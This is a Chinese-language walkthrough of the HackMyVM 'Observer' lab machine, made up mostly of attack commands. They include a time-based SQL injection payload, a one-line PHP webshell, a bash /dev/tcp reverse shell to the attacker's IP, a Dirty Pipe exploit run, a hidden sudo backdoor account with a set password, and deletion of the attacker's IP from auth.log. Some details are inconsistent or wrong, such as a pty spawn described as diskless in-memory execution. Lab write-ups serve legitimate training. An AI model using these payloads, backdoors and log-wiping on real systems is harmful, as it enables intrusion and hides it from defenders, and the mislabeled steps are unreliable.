1. HackMyVM-Observer靶机概述
HackMyVM-Observer是HackMyVM平台推出的中级难度渗透测试靶机,这个基于Debian的Linux系统包含了多个精心设计的漏洞链,需要渗透测试者综合运用信息收集、漏洞利用、权限提升等技能才能完成挑战。作为2023年新发布的靶机,它特别考察对Observer模式在Web应用中的安全实践理解,这也是其命名由来。
提示:实际测试时建议使用VirtualBox或VMware Workstation运行靶机,网络模式设置为NAT或桥接,确保攻击机与靶机在同一网段。
2. 环境准备与初始信息收集
2.1 网络拓扑配置
首先需要搭建标准的渗透测试环境:
- 攻击机:Kali Linux 2023.3(IP自动分配)
- 靶机:HackMyVM-Observer(默认IP 192.168.56.110)
- 网络连接:使用VirtualBox Host-Only网络适配器
验证网络连通性的基础命令:
ping -c 4 192.168.56.110 arp-scan -l --interface=eth02.2 全端口扫描与服务识别
使用Nmap进行深度扫描的策略:
nmap -sS -sV -p- -T4 -A -oN full_scan.nmap 192.168.56.110典型扫描结果会显示:
- 22/tcp:OpenSSH 8.4p1(可能存在用户枚举漏洞)
- 80/tcp:Apache 2.4.51(自定义Web应用)
- 3306/tcp:MySQL(需要后续爆破)
3. Web应用渗透测试实战
3.1 目录爆破与敏感文件发现
使用Gobuster进行目录枚举:
gobuster dir -u http://192.168.56.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -o gobuster.log关键发现:
- /admin.php(后台登录页面)
- /backup.zip(网站源码备份)
- /notes.txt(包含开发者注释)
3.2 SQL注入漏洞利用
在登录页面发现基于时间的盲注漏洞:
admin' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -使用sqlmap自动化利用:
sqlmap -u "http://192.168.56.110/login.php" --data="username=admin&password=test" --level=5 --risk=3 --dbms=mysql --technique=T --batch成功获取数据库信息:
- 数据库名:observer_db
- 表名:users,config
- 关键字段:username,password_hash
3.3 密码破解与会话劫持
获取的密码哈希使用John破解:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt使用破解的凭证登录后,在Cookie中发现:
document.cookie="observer_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";通过JWT破解获取管理员权限:
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -C -d /usr/share/wordlists/rockyou.txt4. 系统权限提升路径
4.1 从Web到系统的突破
通过文件上传获取webshell:
<?php system($_GET['cmd']); ?>使用反连shell建立持久连接:
nc -lvnp 4444 # 在webshell执行: bash -c 'bash -i >& /dev/tcp/192.168.56.105/4444 0>&1'4.2 内核漏洞提权检测
检查系统信息:
uname -a # Linux observer 5.10.0-15-amd64 #1 SMP Debian 5.10.120-1 (2022-06-09) x86_64 GNU/Linux发现适用的脏管道漏洞(CVE-2022-0847):
gcc -o exploit exploit.c ./exploit4.3 敏感信息收集
在/opt目录发现数据库备份:
strings /opt/db_backup.sql | grep -i password在用户目录找到SSH私钥:
find /home -name id_rsa -type f 2>/dev/null5. 后渗透与痕迹清理
5.1 建立持久化访问
添加SSH公钥:
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys创建隐藏后门账户:
useradd -m -s /bin/bash -G sudo sysmon echo 'sysmon:Password123!' | chpasswd5.2 日志清理技巧
清除相关日志条目:
sed -i '/192.168.56.105/d' /var/log/auth.log使用内存执行避免磁盘记录:
python3 -c 'import pty; pty.spawn("/bin/bash")'6. 防御措施建议
6.1 安全加固方案
针对发现的漏洞建议:
- Apache配置:
<Directory "/var/www/html"> Options -Indexes AllowOverride None Require all granted </Directory>- MySQL安全设置:
ALTER USER 'webuser'@'localhost' IDENTIFIED WITH mysql_native_password BY 'ComplexPass123!';6.2 监控策略优化
实现Observer模式的安全监控:
import hashlib def file_monitor(path): original_hash = hashlib.md5(open(path,'rb').read()).hexdigest() while True: current_hash = hashlib.md5(open(path,'rb').read()).hexdigest() if current_hash != original_hash: alert_system(f"File {path} modified!")在实际测试中,我发现Observer靶机的Web应用对HTTP头部过滤不严格,通过添加"X-Forwarded-For: 127.0.0.1"可以绕过某些IP限制。这种设计恰好呼应了靶机名称中的"Observer"概念——许多安全系统正是因为观察逻辑存在缺陷而被绕过。